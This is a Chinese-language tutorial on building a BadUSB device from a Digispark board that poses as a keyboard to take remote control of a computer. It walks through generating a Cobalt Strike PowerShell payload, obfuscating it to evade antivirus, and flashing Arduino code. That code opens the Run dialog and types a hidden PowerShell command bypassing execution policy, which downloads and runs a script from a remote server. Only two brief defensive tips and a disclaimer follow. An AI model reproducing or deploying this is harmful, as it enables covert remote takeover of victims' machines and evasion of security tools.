Badusb原理及制作并简单免杀实现远控教程
2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后，国内与badusb相关的文章虽然有了一些，但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉，badusb仍有一层朦胧的面纱。本文将带你揭开这层神秘的面纱。Badusb原理：利用HID(Human InterfaceDevice，是计算机直接与人交互的设备，例如键盘、鼠标等)进行攻击，将USB设备伪装使电脑识别为键盘，再利用USB设备中的微控制芯片，向主机发送命令，从而实现完全控制主机。漏洞产生原因：现在的USB设备很多，比如音视频设备、摄像头等，因此要求系统提供最大的兼容性，甚至免驱；所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证，而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件，伪装成一个USB键盘，并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。硬件材料：Digispark （Attiny85）开发板（我用到的是经典版的橡皮鸭rubber ducky）一台电脑步骤：1.首先我们安装CobaltStrike，这里需要用到一台有公网ip的服务器，生成ps1文件格式Powershell可执行的程序（具体安装和生Payload过程不再赘述，请自行百度，这边我用到的是CobaltStrike4.0）。2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀，生成面杀版ps1脚本文件，并上传到自己的web服务器备用，Github地址：https://github.com/danielbohannon/Invoke-Obfuscation（免杀过程在这里不赘述了，请自行查看Invoke-Obfuscation的README.md）。3.安装Digispark （Attiny85）开发板驱动。4.安装并打开Arduino软件，点击文件中的首选项，附加开发板管理器网址填入：https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json5.点击工具中的开发板中的开发板管理器，等待下载索引完成（下载不成功请使用海外代理），搜索并安装“Digistump AVR Boards by Digistump”，安装完成后在开发板中选择Digispark（Default-16.5mhz）。7.将以下代码填入Arduino代码框中，以实现伪造键盘输出win+r打开运行窗口并执行Powershell命令。#include "DigiKeyboard.h" #define KEY_ESC 41 #define KEY_BACKSPACE 42 #define KEY_TAB 43 #define KEY_PRT_SCR 70 #define KEY_DELETE 76 void setup() { DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://web.com/tianle.ps1');")); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(750); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() { }8.将代码上传到开发板中，需在60s内插入badusb，等待烧录完成即可。9.Badusb制作完成，插谁谁上线，这里仅展示几张成功上线的图片，屏幕截图，vnc，文件获取等CobaltStrike工具远控操作不作展示。防御措施：1.不插陌生的USB设备。2.使用360的SecUSB或者腾讯的SecLine。注：我展示如何攻击的目的是为了让大家知道这个漏洞，了解并认识到网络安全的重要性，更好的进行防御，而不是以此为武器去伤害别人。